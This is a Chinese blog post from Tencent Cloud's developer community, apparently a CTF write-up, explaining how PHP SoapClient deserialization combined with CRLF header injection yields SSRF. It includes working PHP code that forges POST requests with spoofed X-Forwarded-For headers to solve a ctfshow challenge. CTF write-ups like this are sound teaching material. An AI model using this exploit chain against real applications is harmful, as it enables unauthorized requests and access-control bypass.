前往小程序,Get更优阅读体验!
立即前往
首页
学习
活动
专区
工具
TVP
发布
社区首页 >专栏 >SoapClient反序列化SSRF组合拳

SoapClient反序列化SSRF组合拳

原创
作者头像
ly0n
修改2021-09-16 14:36:16
1.5K0
修改2021-09-16 14:36:16
举报
文章被收录于专栏:ly0n

前言

有的时候我们会遇到只给了反序列化点,但是没有POP链的情况。可以尝试利用php内置类来进行反序列化。

魔术方法

魔术方法详细的讲解可以移步另一篇文章

https://cloud.tencent.com/developer/article/1740465

代码语言:javascript
复制
构造函数 __construct 对象被创建的时候调用
析构函数 __destruct 对象被销毁的时候调用
方法重载 __call 在对象中调用一个不可访问方法时调用
方法重载 __callStatic 在静态上下文中调用一个不可访问方法时调用
在给不可访问属性赋值时,__set() 会被调用。
读取不可访问属性的值时,__get() 会被调用。
当对不可访问属性调用 isset() 或 empty() 时,__isset() 会被调用
当对不可访问属性调用 unset() 时,__unset() 会被调用
__sleep() 在serialize() 函数执行之前调用
__wakeup() 在unserialize() 函数执行之前调用
__toString 在一个类被当成字符串时被调用(不仅仅是echo的时候,比如file_exists()判断也会触发)

CRLF攻击

什么是CRLF,其实就是回车和换行造成的漏洞,十六进制为0x0d,0x0a,在HTTP当中headerbody之间就是两个CRLF分割的,所以如果我们能够控制HTTP消息头中的字符,注入一些恶意的换行,这样就能注入一些会话cookie和html代码,所以crlf injection 又叫做 HTTP Response Splitting。

SoapClient与反序列化

SoapClient::__call

https://www.php.net/manual/zh/soapclient.call.php

__call() 方法是对象中调用一个不可访问方法时调用

SOAP:简单对象访问协议

底层通讯协议为HTTP,传输数据格式为XML。

测试SoapClient类调用一个不存在的函数,会去调用__call()方法

代码语言:javascript
复制
<?php
$a = new SoapClient(null,array('uri'=>'bbb', 'location'=>'http://127.0.0.1:6888/'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->not_exists_function();

nc监听6888端口

从结果我们可以看到SOAPAction参数可控,我们可以在SOAPAction处注入恶意的换行,这样一来我们POST提交的header就是可控的,我们就可以通过注入来执行我们想要执行的操作了。

尝试传入token,发现新的问题,Content-Type在SOAPAction的上面,就无法控制Content-Typ,也就不能控制POST的数据

在header里User-AgentContent-Type前面,通过user_agent同样可以注入CRLF,控制Content-Type的值

这个点是百度看到的,文章地址:https://zhuanlan.zhihu.com/p/80918004

尝试控制token

代码语言:javascript
复制
<?php
$target = 'http://127.0.0.1:6888';
$post_string = 'token=ly0n';
$headers = array(
    'X-Forwarded-For: 127.0.0.1',
    );
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri'      => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo $aaa;

$c = unserialize($aaa);
$c->not_exists_function();
?>

成功控制

使用SoapClient反序列化+CRLF可以生成任意POST请求

Deserialization + __call + SoapClient + CRLF = SSRF

题目分析

打开题目看到只有几行代码

代码语言:javascript
复制
<?php

highlight_file(__FILE__);


$vip = unserialize($_GET['vip']);
//vip can get flag one key
$vip->getFlag();

还有另外一个flag.php文件

代码语言:javascript
复制
$xff = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
array_pop($xff);
$ip = array_pop($xff);


if($ip!=='127.0.0.1'){
	die('error');
}else{
	$token = $_POST['token'];
	if($token=='ctfshow'){
		file_put_contents('flag.txt',$flag);
	}
}

$xff经过了array_pop()的处理,这个函数的作用是弹出数组最后一个单元(出栈),当我刚开始只传入了一个127.0.0.1时发现并没有利用成功,也就是说,此时数组内的最后一个ip并不是127.0.0.1,于是传入多个127.0.0.1进行尝试,发现传入两个即可成功绕过。在百度其原理看到了Y4tacker师傅的解释

最终exp

代码语言:javascript
复制
<?php
$target = 'http://127.0.0.1/flag.php';
$post_string = 'token=ctfshow';
$headers = array(
    'X-Forwarded-For: 127.0.0.1,127.0.0.1',
    'UM_distinctid:17b33d40a5785b-043dfa37ff7c9d-35607403-1fa400-17b33d40a58b9a'
);
$b = new SoapClient(null,array('location' => $target,'user_agent'=>'ly0n^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '.(string)strlen($post_string).'^^^^'.$post_string,'uri' => "aaab"));

$aaa = serialize($b);
$aaa = str_replace('^^',"\r\n",$aaa);
$aaa = str_replace('&','&',$aaa);
echo urlencode($aaa);

?>

通过vip传入参数,然后访问flag.txt即可!

参考链接

https://y4tacker.blog.csdn.net/article/details/110521104

https://zhuanlan.zhihu.com/p/80918004

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

原创声明:本文系作者授权腾讯云开发者社区发表,未经许可,不得转载。

如有侵权,请联系 cloudcommunity@tencent.com 删除。

评论
登录后参与评论
0 条评论
热度
最新
推荐阅读
目录
  • 前言
  • 魔术方法
  • CRLF攻击
  • SoapClient与反序列化
    • SoapClient::__call
    • 题目分析
    相关产品与服务
    文件存储
    文件存储(Cloud File Storage,CFS)为您提供安全可靠、可扩展的共享文件存储服务。文件存储可与腾讯云服务器、容器服务、批量计算等服务搭配使用,为多个计算节点提供容量和性能可弹性扩展的高性能共享存储。腾讯云文件存储的管理界面简单、易使用,可实现对现有应用的无缝集成;按实际用量付费,为您节约成本,简化 IT 运维工作。
    领券
    问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档